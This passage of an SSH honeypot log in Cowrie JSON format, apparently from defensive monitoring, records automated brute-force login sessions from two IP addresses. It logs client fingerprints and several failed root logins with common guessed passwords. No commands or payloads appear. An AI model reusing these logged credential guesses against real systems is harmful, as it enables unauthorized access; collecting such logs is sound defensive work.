af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:53.568043Z","src_ip":"168.167.228.74","session":"432947beceeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:54.032856Z","src_ip":"60.165.124.241","session":"57f7e259e575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55894,"dst_ip":"10.17.0.5","dst_port":22,"session":"e015cfda38ec","protocol":"ssh","message":"New connection: 60.165.124.241:55894 (10.17.0.5:22) [session: e015cfda38ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:54.283703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:54.288051Z","src_ip":"60.165.124.241","session":"e015cfda38ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:54.532544Z","src_ip":"60.165.124.241","session":"e015cfda38ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:54.624496Z","src_ip":"168.167.228.74","session":"432947beceeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:55.275250Z","src_ip":"60.165.124.241","session":"e015cfda38ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:55.883561Z","src_ip":"168.167.228.74","session":"432947beceeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:56.522381Z","src_ip":"60.165.124.241","session":"e015cfda38ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59270,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed869132a0c","protocol":"ssh","message":"New connection: 60.165.124.241:59270 (10.17.0.5:22) [session: 0ed869132a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:56.764844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:56.770211Z","src_ip":"60.165.124.241","session":"0ed869132a0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:57.016247Z","src_ip":"60.165.124.241","session":"0ed869132a0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567@","message":"login attempt [root/Aa1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:57.768670Z","src_ip":"60.165.124.241","session":"0ed869132a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:59.016070Z","src_ip":"60.165.124.241","session":"0ed869132a0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6bf0101532","protocol":"ssh","message":"New connection: 60.165.124.241:33702 (10.17.0.5:22) [session: ea6bf0101532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:59.245471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:59.249471Z","src_ip":"60.165.124.241","session":"ea6bf0101532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:54:59.494260Z","src_ip":"60.165.124.241","session":"ea6bf0101532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022!","message":"login attempt [root/Admin2022!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:00.235161Z","src_ip":"60.165.124.241","session":"ea6bf0101532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:01.488055Z","src_ip":"60.165.124.241","session":"ea6bf0101532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36768,"dst_ip":"10.17.0.5","dst_port":22,"session":"0764ead88651","protocol":"ssh","message":"New connection: 60.165.124.241:36768 (10.17.0.5:22) [session: 0764ead88651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:01.722337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:01.727820Z","src_ip":"60.165.124.241","session":"0764ead88651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:01.966503Z","src_ip":"60.165.124.241","session":"0764ead88651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234.","message":"login attempt [root/Asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:02.694452Z","src_ip":"60.165.124.241","session":"0764ead88651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:03.941987Z","src_ip":"60.165.124.241","session":"0764ead88651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"5926c213bc54","protocol":"ssh","message":"New connection: 60.165.124.241:39580 (10.17.0.5:22) [session: 5926c213bc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:04.179572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:04.185011Z","src_ip":"60.165.124.241","session":"5926c213bc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:04.424474Z","src_ip":"60.165.124.241","session":"5926c213bc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd123","message":"login attempt [root/123asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:05.148723Z","src_ip":"60.165.124.241","session":"5926c213bc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:06.395595Z","src_ip":"60.165.124.241","session":"5926c213bc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42786,"dst_ip":"10.17.0.5","dst_port":22,"session":"345600dd3b40","protocol":"ssh","message":"New connection: 60.165.124.241:42786 (10.17.0.5:22) [session: 345600dd3b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:06.667720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:06.673792Z","src_ip":"60.165.124.241","session":"345600dd3b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:06.936658Z","src_ip":"60.165.124.241","session":"345600dd3b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@2025","message":"login attempt [root/Test@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:07.714928Z","src_ip":"60.165.124.241","session":"345600dd3b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:08.979383Z","src_ip":"60.165.124.241","session":"345600dd3b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46036,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a06927ad4ae","protocol":"ssh","message":"New connection: 60.165.124.241:46036 (10.17.0.5:22) [session: 1a06927ad4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:09.207105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:09.211635Z","src_ip":"60.165.124.241","session":"1a06927ad4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:09.456014Z","src_ip":"60.165.124.241","session":"1a06927ad4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:10.196746Z","src_ip":"60.165.124.241","session":"1a06927ad4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:11.449088Z","src_ip":"60.165.124.241","session":"1a06927ad4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48812,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a1bb4bf9af","protocol":"ssh","message":"New connection: 60.165.124.241:48812 (10.17.0.5:22) [session: 51a1bb4bf9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:11.727417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:11.732355Z","src_ip":"60.165.124.241","session":"51a1bb4bf9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:11.999699Z","src_ip":"60.165.124.241","session":"51a1bb4bf9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456789@","message":"login attempt [root/Qwe123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:12.798349Z","src_ip":"60.165.124.241","session":"51a1bb4bf9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:14.058872Z","src_ip":"60.165.124.241","session":"51a1bb4bf9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51984,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d01d487ace","protocol":"ssh","message":"New connection: 60.165.124.241:51984 (10.17.0.5:22) [session: f2d01d487ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:14.288506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:14.292606Z","src_ip":"60.165.124.241","session":"f2d01d487ace","protocol":"ssh"}
